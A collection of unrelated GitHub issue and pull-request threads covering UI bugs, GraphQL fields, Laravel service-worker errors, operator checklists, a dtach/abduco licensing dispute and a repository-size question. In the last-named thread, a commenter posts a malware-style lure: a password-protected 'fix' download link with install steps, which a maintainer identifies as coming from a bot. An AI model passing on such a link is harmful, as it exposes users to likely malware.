User Store 6.1-7.1-8.1-the Applicants page display the same records of members page

the Applicants page display the same records of members page when there is zero record of applicants and vice versa
1- Member page has zero record but show the same records as Applicants page
https://app.slack.com/client/T010BHVS3EF/C011V080R8E/files/F022TTRKZ8V
2-Applicants page has zero record but show the same records as Member page
https://user-images.githubusercontent.com/70918430/119430201-334a0400-bcc5-11eb-888a-345d54860f8c.mp4

@adorapham Please check if this still exist

@xJamesScott , it seems doesn't work - old record
https://user-images.githubusercontent.com/70918430/119766720-64176e00-be6a-11eb-98d2-fae978d1a0ea.mp4
new record with applicants has records
https://user-images.githubusercontent.com/70918430/119767243-5a423a80-be6b-11eb-8609-0e2f4a7d2cf7.mp4

issue is fixed


Add 'id' to apr items

export const GqlPoolMinimal = gql`
    fragment GqlPoolMinimal on GqlPoolMinimal {
        id
        address
        name
        symbol
        createTime
        dynamicData {
            totalLiquidity
            totalShares
            fees24h
            swapFee
            volume24h
            apr {
                hasRewardApr
                thirdPartyApr
                nativeRewardApr
                swapApr
                total
                items {
                    title
                    apr
                    subItems {
                        title
                        apr
                    }
                }
            }
        }
        allTokens {
            id
            address
            isNested
            isPhantomBpt
            weight
            symbol
        }
        staking {
            id
            type
            address
            farm {
                id
                beetsPerBlock
                rewarders {
                    id
                    address
                    tokenAddress
                    rewardPerSecond
                }
            }
        }
    }
`;

@franzns Can you please add an 'id' in dynamicData/apr/items? And maybe it is also neccessary for dynamicData/apr/items/subItems?

should be fixed by acda28ec80210f6f4d18ba9252635dbed89cc00a


app.js:33 Uncaught (in promise) TypeError

I just download the demo project ad done as it's step but it give error.
Help me asap.
Thax

app.js:33 Uncaught (in promise) TypeError: Cannot read property 'socketId' of undefined
at app.js:33
(anonymous) @ app.js:33
/sw.js:1 A bad HTTP response code (404) was received when fetching the script.
http://localhost/sw.js Failed to load resource: net::ERR_INVALID_RESPONSE
home:1 Uncaught (in promise) TypeError: Failed to register a ServiceWorker: A bad HTTP response code (404) was received when fetching the script.

You need to configure a domain because right now you access it via a folder and that breaks the Laravel router. Also make sure you have SSL on your domain otherwise the Push Api won't work.


improved definition of the GLS algorithm

The original readme didn't extend the series enough for me to have certainty of what it was doing without searching elsewhere.
This should hopefully clear up the definition for anyone else coming across it

seams reasonable...


Investigate the reason why we set target-type: ip for EKS instead of instance

alb.ingress.kubernetes.io/target-type: ip

Checked and the target type can and should be set to instance


operator [N] [CI] loki-helm-operator (0.0.1)

Signed-off-by: Sid Kattoju<EMAIL_ADDRESS>Thanks for submitting your Operator. Please check the below list before you create your Pull Request.
New Submissions

[ ] Are you familiar with our contribution guidelines?
[ ] Have you packaged and deployed your Operator for Operator Framework?

[ ] Have you tested your Operator in all supported installation modes?
[ ] Have you considered whether you want to use semantic versioning order?
[ ] Is your submission signed?
[ ] Is operator icon set?

Updates to existing Operators

[ ] Did you create a ci.yaml file according to the update instructions?
[ ] Is your new CSV pointing to the previous version with the replaces property if you chose replaces-mode via the updateGraph property in ci.yaml?
[ ] Is your new CSV referenced in the appropriate channel defined in the package.yaml or annotations.yaml ?
[ ] Have you tested an update to your Operator when deployed via OLM?
[ ] Is your submission signed?

Your submission should not

[ ] Modify more than one operator
[ ] Modify an Operator you don't own
[ ] Rename an operator - please remove and add with a different name instead
[ ] Modify any files outside the above mentioned folders
[ ] Contain more than one commit. Please squash your commits.

Operator Description must contain (in order)

[ ] Description of the managed Application and where to find more information
[ ] Features and capabilities of your Operator and how to use it
[ ] Any manual steps about potential pre-requisites for using your Operator

Operator Metadata should contain

[ ] Human readable name and 1-liner description about your Operator
[ ] Valid category name1
[ ] One of the pre-defined capability levels2
[ ] Links to the maintainer, source code and documentation
[ ] Example templates for all Custom Resource Definitions intended to be used
[ ] A quadratic logo

Remember that you can preview your CSV here.
--
1 If you feel your Operator does not fit any of the pre-defined categories, file an issue against this repo and explain your need
2 For more information see here

/merge possible

/retest-required

/merge possible

/merge possible

/merge possible

@skattoju can you add at least one entry under .spec.maintainers in the csv file, please?

/merge possible

/merge possible

/merge possible


Improved performance of preconditions on strings

Replaced !regex.unapplySeq.isEmpty by regex.pattern.matcher(_).matches.
This avoids a lot of allocations of unneeded objects and improves the
overall performance on Android by a factor of 2-3 (for my use case).

Nice!  Even on my notebook, this improves the times of the "load" performance tests by at least 20%.

Awesome!  Merged.


gh-1555 - fixed matched vertex filtering

Codecov Report

:exclamation: No coverage uploaded for pull request base (hotfix-1.1.2@7d9a3c7). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff               @@
##             hotfix-1.1.2   #1556   +/-   ##
==============================================
  Coverage                ?   68.1%
  Complexity              ?     460
==============================================
  Files                   ?     214
  Lines                   ?    6358
  Branches                ?     881
==============================================
  Hits                    ?    4330
  Misses                  ?    1703
  Partials                ?     325

Impacted Files
Coverage Δ
Complexity Δ

...ain/java/uk/gov/gchq/gaffer/mapstore/MapStore.java
100% <ø> (ø)
0 <0> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7d9a3c7...c134a3f. Read the comment docs.


Restructure module

All good

@christofid just make sure to advance the version when releasing the package as PyPI does not allow overwriting an existing package (this applies only if you already made a release for the previous version).


Dark theme index page

Contrast is very low between font color and box page for the Read more button on index, and could be hard to see.
This could be an issue as we need to click on the Read more button to go to the page.

A lighter color would work better, like this:

Would be this something we can fix?

Ops, this issue is part of a proposed PR, so I am closing it


Documentation lacking

There's the need of adding documentation to all the objects of the API

Hi!
I'm a technical writer and I'd like to contribute. Would this be a RESTful API?
Thanks!

Hi  @nikhil-mukunda, this is just a wrapper for an actual API that already exists, currently all the objects have been mapped, so as their own endpoints. The goal of the documentation is to describe what object does and what it is. Same apply for the methods


App does not know if the frame was queued or not.

Hi,
is there a way, how to know whether the frame was stored into queue or it was ignored? From source code it does not seem like there is a way. But I might be wrong. So is there some recommended way how to deal with this?
Thanks!

Do you want to know the current status of the frame queue? Or, do you want to know whether a frame has been actually queued or not?

I would like to know whether the frame was actually queued or not. So that I know if I should wait for some callback or not.


OCPBUGS-46483: Correct ARO csi drivers cloud config

What this PR does / why we need it:

Correct ARO csi drivers cloud config

Which issue(s) this PR fixes :
Fixes # OCPBUGS-46483

@bryan-cox @gnufied The patch fixes the azure file csi driver could not provision volume succeed issue, for the disk csi issue should be an issue from driver itself,  I used upstream azuredisk-csi:v1.31.1 and the patch verify disk csi driver works, so I suspect there's some known issue fixed between v1.29.11 and v1.31.1 caused invalid memory address or nil pointer dereference in disk csi provision. Could you help take a look when you get a chance? Thank you!

/assign @bryan-cox @gnufied


Can't create project - "no value given for required property address"

A user reported intermittent issues with creating a project:

2024/02/16 10:16:56 Creating Project
2024/02/16 10:16:56 Could not create project - no value given for required property address

Hi @displague,

As discussed over email, please find the demo workflow log here
Please find the demo workflow here
Readme file link that explains the workflow

@chefgs I see that your workflow is using equinix-labs/metal-project-action@main.  While we strive to keep the main branch free of issues (and we will need to fix this one before the next release), we recommend sticking to a released version of the action for best results.  Can you see if using<EMAIL_ADDRESS>unblocks your work?

Ok sure @ctreatma ! I'll try it out and keep you posted.

I've also opened an issue against our GitHub Actions workshop to remove references to main there, since it's almost guaranteed to make workflows break unexpectedly over time.

Hi @ctreatma - After the changing the workflow version the run was successful. Apologies for the delayed update.


acknowledge parts of the code come from dtach

There is an interesting comparative analysis of dtach and abduco in the Debian bug #771102. In it, the dtach author makes a convincing argument that significant parts of abduco have been copied verbatim from dtach.
dtach is licensed under GPLv2, while abduco is licensed under ISC. If it is indeed the case that parts of dtach have been imported then rewritten in abduco, the license of abduco should recognize that, and should also be licensed under a GPLv2-compatible license.
this problem has led to abduco's removal from Debian, and its lack of updates in Ubuntu, and will prevent it from entering Debian again. I tried to update abduco myself in Debian, and was faced with similar license problems, in bug #833897.

Can one license parts of code differently? E.g. if there are some lines that "resemble too much" dtach, could these parts be GPLv2:ed and then other parts be kept ISC...

No. I believe the legal consensus is that a license applies to a whole file and thta if a GPL snippet is imported in another file, that other file becomes GPL.
I am not a lawyer, however, so this is not legal advice.
Furthermore, it's not just a matter of legalities but giving credit where it is due. It seems to me dishonest to present abduco as a cleanroom implementation if it reuses significant part of the original dtach code.

There are specific reasons why some portions of the code are similar. The initial abduco versions tried to remain compatible with dtach by using the same "wire" protocol. The terminal setup routines used by both tools are given as examples in manual pages and probably not copyrightable in the first place. I agree that abduco was somewhat inspired by dtach and mainly created because of implementation concerns of the latter.  However, I certainly disagree with the claim that "significant parts of abduco have been copied verbatim from dtach". And yes, I should reply to the Debian bug presenting my point of view. In fact I wanted to do that a long time ago, but free time is scarce and I end up doing more interesting things ...

both tools are given as examples in manual pages
Source ?

@lanodan I'm not sure how to interpret your selective quote, the original context was:

The terminal setup routines used by both tools are given as examples in manual pages and probably not copyrightable in the first place.

I was referring to the code similarities for enabling raw mode which is listed in termios(3) and equivalent to a call to the non standard cfmakeraw(3) function.

One issue (see #27) is enough for this.


HTTP client is left hanging when a payload is not set to the response

Consider the following code sample and the cURL requests.
import ballerina.net.http;

service<http> helloWorld {
    resource sayHello (http:Request req, http:Response res) {
        res.send();
    }
}

cURL requests:
curl -v http://localhost:9090/helloWorld/sayHello
Need to explicitly set a message body for this to work.
resource sayHello (http:Request req, http:Response res) {
     res.setStringPayload("");
     res.send();
}

Tested this on v0.95.0 and it is working correctly. Hence, closing this issue.


results.lc.evaluate not working when given a custom time array

Hi,
I'm running Juliet on a single night photometry observation and after running juliet, since we only have one night worth of data, the lightcurve isn't sufficiently sampled, so I tried running
t = sp.linspace(dataset.t_lc[0]. dataset.t_lc[-1], 10000)
transit_model = results.lc.evaluate(INST, t=t)

but it throws the following error (rather randomly because sometimes it works..?)
-------------------------------------
ValueErrorTraceback (most recent call last)
<ipython-input-34-58d2cdf36611> in <module>
      6 t = sp.linspace(dataset.t_lc[0], dataset.t_lc[-1], 10000)
----> 7 transit_model = results.lc.evaluate(INST, t=t)
      8
      9 # Extract period and time-of-transit center for the planet:

/anaconda3/lib/python3.7/site-packages/juliet-2.0.17-py3.7.egg/juliet/fit.py in evaluate_model(self, instrument, parameter_values, resampling, nresampling, etresampling, all_samples, nsamples, return_samples, t, GPregressors, LMregressors, return_err, alpha, return_components)
   1874                                               nresampling = nresampling, etresampling = etresampling, all_samples = all_samples, \
   1875                                               nsamples = nsamples, return_samples = return_samples, t = t, GPregressors = GPregressors, \
-> 1876                                               LMregressors = LMregressors, return_err = return_err, return_components = return_components)
   1877             if return_samples:
   1878                 if return_err:

/anaconda3/lib/python3.7/site-packages/juliet-2.0.17-py3.7.egg/juliet/fit.py in evaluate_model(self, instrument, parameter_values, resampling, nresampling, etresampling, all_samples, nsamples, return_samples, t, GPregressors, LMregressors, return_err, alpha, return_components)
   1616                         self.variances = self.model['global_variances']
   1617                     else:
-> 1618                         self.residuals = self.data[instrument] - self.model[instrument]['deterministic']
   1619
   1620                     # If extrapolating (t is not None), evaluate the extrapolated model with a lightcurve/rv model

ValueError: operands could not be broadcast together with shapes (2847,) (10000,)

To my understanding this should work (and it does... randomly), what could be happening?? If you need any more info please let me know
Cheers.

Hi Jose,
Thanks! Can you generate a reproducible example?
N

I haven't been able to reproduce it, but I found that during the generation of the model self.modelOK is set as False when it crashes and this happens because of the inc_inv_factor > 1 -- which makes the randomness of the error make sense.
Might I suggest checking for model validity while going through the sample indexes in the evaluate_model function?
Maybe an evaluation if the samples are valid and if a good enough number of samples are valid, just drop the invalid ones?

I think it's worth noting I fixed the eccentricity and omega to 0 and 90 respectively and I'm fitting directly for b and p, as using r1 and r2 is producing b > 1 which is incorrect for this particular system... I'm also fitting photometry only, no RVs involved

Hey @jvines --- we made some changes in the current repo that should have solved this. Could you check? If you don't remember, I'll just go ahead and close this issue but if you see it again, feel free to open a new one. Either way, I'll wait for your feedback.
N.


Update sample.json

Please don't cancel it it will not affect anything

As a maintainer, how should I handle spam pull requests?
We dislike seeing spam pull requests just as much as you, so please give them an invalid or spam label and close them. Pull requests that contain a label with the word invalid or spam won’t be counted toward Hacktoberfest.

https://hacktoberfest.digitalocean.com/faq


Maybe move Large files to separate repo?

I was wondering if maybe possibly we can move the large files to different repo?
The git clone took quite some time.
find -size +10000
./tests/files/vrf_genesis_epoch/ocaml_vrf_1_to_7139.json
./genesis_ledgers/devnet.bin
./mina-p2p-messages/tests/files/v1/rpc/get-staged-ledger-aux/response/199773.bin
./mina-p2p-messages/tests/files/v1/rpc/get-staged-ledger-aux/response/52170.bin
./mina-p2p-messages/tests/files/v2/rpc/get-staged-ledger-aux/response/00.bin
./mina-p2p-messages/tests/files/v2/rpc/catchup_in.bin
./mina-p2p-messages/tests/files/rpc/get-epoch-ledger/response/01.bin
./mina-p2p-messages/shapes/shapes-v1-mainnet-raw.txt.gz
./producer-dashboard/test/files/staking-epoch-ledger.json
./p2p/tests/files/rpc/block_response.json
./p2p/tests/files/rpc/staged_ledger_aux_and_pending_coinbases_at_block_response.json
These two are the largest:
find -size +100000
./mina-p2p-messages/tests/files/v2/rpc/catchup_in.bin
./p2p/tests/files/rpc/staged_ledger_aux_and_pending_coinbases_at_block_response.json

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

lol wut
On Wed, Aug 28, 2024, 21:10 BadBoy @.***> wrote:

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and
select "gcc."
—
Reply to this email directly, view it on GitHub
https://github.com/openmina/openmina/issues/610#issuecomment-2316528728,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AD5KQ2KTFRVELZTFBJPBXHDZTZYH5AVCNFSM6AAAAABNJIXMVGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMJWGUZDQNZSHA
.
You are receiving this because you authored the thread.Message ID:
@.***>

@jmikedupont2 please ignore that, seems to be a bot, his account got deleted after that comment.

re: size of the files, you are right. We should enable git LFS to take care of that.


What is smarterspam.com

Side note, what is smarterspam.com? I looked online and couldn't find where the address pointed to anything.

Looks you have a virus, we don't use this url in code

https://github.com/webpack-contrib/npm-install-webpack-plugin/blob/master/package.json#L33

@zwhitchcox just email of contributor, some problems with plugin?